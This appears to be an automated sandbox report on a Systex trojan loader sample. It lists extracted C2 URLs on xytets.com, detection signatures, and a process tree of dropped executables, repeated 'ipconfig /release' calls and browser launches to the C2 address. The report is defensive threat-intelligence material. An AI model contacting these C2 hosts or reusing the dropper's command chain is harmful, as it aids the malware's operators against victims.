Analysis
- max time kernel
150s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
04/08/2026, 05:42
General
- Target 2026-08-04_b8fc1ace002c05770626c1a8cb7fd82b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
- Size 376KB
- Sample260804-geb31adg76
- SHA256 5e69bcb83edfcb14a7c4f8391211881b0a30ec74b0a1ad5941e29c71392d990a
Score
10/10
Malware Config
Extracted
Family
-
systex
C2
-
http://xytets.com:2345/t.asp?os=wangba
-
http://xytets.com:2345/t.asp?os=home
-
http://xytets.com:2345/t.asp?ver=xxx&mac=0-0-0-0&os=vm
Signatures
- Family: Systex
Systex is a trojan loader written in C++.
- Executes dropped EXE 64 IoCs
- Drops file in Windows directory 64 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- System Location Discovery: System Language Discovery 1 TTPs 41 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Gathers network information 2 TTPs 19 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 3 IoCs
- Modifies data under HKEY_USERS 2 IoCs
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 20 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs
- Suspicious use of AdjustPrivilegeToken 19 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-08-04_b8fc1ace002c05770626c1a8cb7fd82b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-04_b8fc1ace002c05770626c1a8cb7fd82b_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Temp\wuomgecwuomgebwt.exeC:\Temp\wuomgecwuomgebwt.exe run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ezwrpjezwr.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\ezwrpjezwr.exeC:\Temp\ezwrpjezwr.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ezwrpjezwr.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_ezwrpjezwr.exeC:\Temp\i_ezwrpjezwr.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\rojgbywqom.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\rojgbywqom.exeC:\Temp\rojgbywqom.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_rojgbywqom.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_rojgbywqom.exeC:\Temp\i_rojgbywqom.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\dbvtnlgayw.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\dbvtnlgayw.exeC:\Temp\dbvtnlgayw.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_dbvtnlgayw.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_dbvtnlgayw.exeC:\Temp\i_dbvtnlgayw.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\yvtqlidavt.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\yvtqlidavt.exeC:\Temp\yvtqlidavt.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_yvtqlidavt.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_yvtqlidavt.exeC:\Temp\i_yvtqlidavt.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\favsnifdxv.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\favsnifdxv.exeC:\Temp\favsnifdxv.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_favsnifdxv.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_favsnifdxv.exeC:\Temp\i_favsnifdxv.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\icauspnkfc.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\icauspnkfc.exeC:\Temp\icauspnkfc.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_icauspnkfc.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_icauspnkfc.exeC:\Temp\i_icauspnkfc.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\khczusmkhc.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\khczusmkhc.exeC:\Temp\khczusmkhc.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_khczusmkhc.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_khczusmkhc.exeC:\Temp\i_khczusmkhc.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\xrpjhczurm.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\xrpjhczurm.exeC:\Temp\xrpjhczurm.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_xrpjhczurm.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_xrpjhczurm.exeC:\Temp\i_xrpjhczurm.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\pjgezwromh.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\pjgezwromh.exeC:\Temp\pjgezwromh.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_pjgezwromh.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_pjgezwromh.exeC:\Temp\i_pjgezwromh.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\bztrljdbwt.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\bztrljdbwt.exeC:\Temp\bztrljdbwt.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_bztrljdbwt.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_bztrljdbwt.exeC:\Temp\i_bztrljdbwt.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ytqolgeywt.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\ytqolgeywt.exeC:\Temp\ytqolgeywt.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ytqolgeywt.exe ups_ins3⤵
-
C:\Temp\i_ytqolgeywt.exeC:\Temp\i_ytqolgeywt.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\qoigayoiga.exe ups_run3⤵
-
C:\Temp\qoigayoiga.exeC:\Temp\qoigayoiga.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_qoigayoiga.exe ups_ins3⤵
-
C:\Temp\i_qoigayoiga.exeC:\Temp\i_qoigayoiga.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\qnlfdxsqni.exe ups_run3⤵
-
C:\Temp\qnlfdxsqni.exeC:\Temp\qnlfdxsqni.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_qnlfdxsqni.exe ups_ins3⤵
-
C:\Temp\i_qnlfdxsqni.exeC:\Temp\i_qnlfdxsqni.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\nifaxvsqkh.exe ups_run3⤵
-
C:\Temp\nifaxvsqkh.exeC:\Temp\nifaxvsqkh.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_nifaxvsqkh.exe ups_ins3⤵
-
C:\Temp\i_nifaxvsqkh.exeC:\Temp\i_nifaxvsqkh.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\xspnhfzxup.exe ups_run3⤵
-
C:\Temp\xspnhfzxup.exeC:\Temp\xspnhfzxup.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_xspnhfzxup.exe ups_ins3⤵
-
C:\Temp\i_xspnhfzxup.exeC:\Temp\i_xspnhfzxup.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\hfzxupnhfz.exe ups_run3⤵
-
C:\Temp\hfzxupnhfz.exeC:\Temp\hfzxupnhfz.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_hfzxupnhfz.exe ups_ins3⤵
-
C:\Temp\i_hfzxupnhfz.exeC:\Temp\i_hfzxupnhfz.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\wurpmhfzwu.exe ups_run3⤵
-
C:\Temp\wurpmhfzwu.exeC:\Temp\wurpmhfzwu.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_wurpmhfzwu.exe ups_ins3⤵
-
C:\Temp\i_wurpmhfzwu.exeC:\Temp\i_wurpmhfzwu.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ztrojhezwr.exe ups_run3⤵
-
C:\Temp\ztrojhezwr.exeC:\Temp\ztrojhezwr.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ztrojhezwr.exe ups_ins3⤵
-
C:\Temp\i_ztrojhezwr.exeC:\Temp\i_ztrojhezwr.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\wqomgeywqo.exe ups_run3⤵
-
C:\Temp\wqomgeywqo.exeC:\Temp\wqomgeywqo.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_wqomgeywqo.exe ups_ins3⤵
-
C:\Temp\i_wqomgeywqo.exeC:\Temp\i_wqomgeywqo.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home2⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"3⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x304,0x7ffd15d3c188,0x7ffd15d3c194,0x7ffd15d3c1a04⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1944,i,10119925274579173287,636513764366468642,262144 --field-trial-handle=2492,i,12079330266061883304,10690719814126950640,262144 --variations-seed-version --mojo-platform-channel-handle=2488 /prefetch:24⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2132,i,17023637245130080013,8484129095763989409,524288 --field-trial-handle=2492,i,12079330266061883304,10690719814126950640,262144 --variations-seed-version --mojo-platform-channel-handle=3232 /prefetch:114⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2512,i,866301819553518979,1377402955278806783,524288 --field-trial-handle=2492,i,12079330266061883304,10690719814126950640,262144 --variations-seed-version --mojo-platform-channel-handle=3160 /prefetch:134⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3576,i,744497666469844683,13411100556452525706,2097152 --field-trial-handle=2492,i,12079330266061883304,10690719814126950640,262144 --variations-seed-version --mojo-platform-channel-handle=3656 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3580,i,4665930852303155826,1777199345144863327,2097152 --field-trial-handle=2492,i,12079330266061883304,10690719814126950640,262144 --variations-seed-version --mojo-platform-channel-handle=3660 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4312,i,5289539177504770326,13540291158176605814,2097152 --field-trial-handle=2492,i,12079330266061883304,10690719814126950640,262144 --variations-seed-version --mojo-platform-channel-handle=1936 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4320,i,3775235250900780506,6707124316516762541,2097152 --field-trial-handle=2492,i,12079330266061883304,10690719814126950640,262144 --variations-seed-version --mojo-platform-channel-handle=4468 /prefetch:94⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=5372,i,2157594136480004828,2614740610766249672,2097152 --field-trial-handle=2492,i,12079330266061883304,10690719814126950640,262144 --variations-seed-version --mojo-platform-channel-handle=4056 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5408,i,13142095207102351156,9840828579603798690,524288 --field-trial-handle=2492,i,12079330266061883304,10690719814126950640,262144 --variations-seed-version --mojo-platform-channel-handle=5416 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=5536,i,6547982458343819213,7030909345141028440,2097152 --field-trial-handle=2492,i,12079330266061883304,10690719814126950640,262144 --variations-seed-version --mojo-platform-channel-handle=3692 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5376,i,7861066234910664103,1768629806209750475,524288 --field-trial-handle=2492,i,12079330266061883304,10690719814126950640,262144 --variations-seed-version --mojo-platform-channel-handle=5752 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4312,i,2109435675983812267,16287213482536520702,524288 --field-trial-handle=2492,i,12079330266061883304,10690719814126950640,262144 --variations-seed-version --mojo-platform-channel-handle=5760 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6128,i,9568537470220549418,16248552454647902939,524288 --field-trial-handle=2492,i,12079330266061883304,10690719814126950640,262144 --variations-seed-version --mojo-platform-channel-handle=6156 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6128,i,9568537470220549418,16248552454647902939,524288 --field-trial-handle=2492,i,12079330266061883304,10690719814126950640,262144 --variations-seed-version --mojo-platform-channel-handle=6156 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6340,i,12973992565403678878,16213769468710844904,524288 --field-trial-handle=2492,i,12079330266061883304,10690719814126950640,262144 --variations-seed-version --mojo-platform-channel-handle=6336 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6500,i,9889252923407493628,15062184150634461830,524288 --field-trial-handle=2492,i,12079330266061883304,10690719814126950640,262144 --variations-seed-version --mojo-platform-channel-handle=6484 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6512,i,18101878076936062310,15420472896935826074,524288 --field-trial-handle=2492,i,12079330266061883304,10690719814126950640,262144 --variations-seed-version --mojo-platform-channel-handle=6492 /prefetch:144⤵
-
-
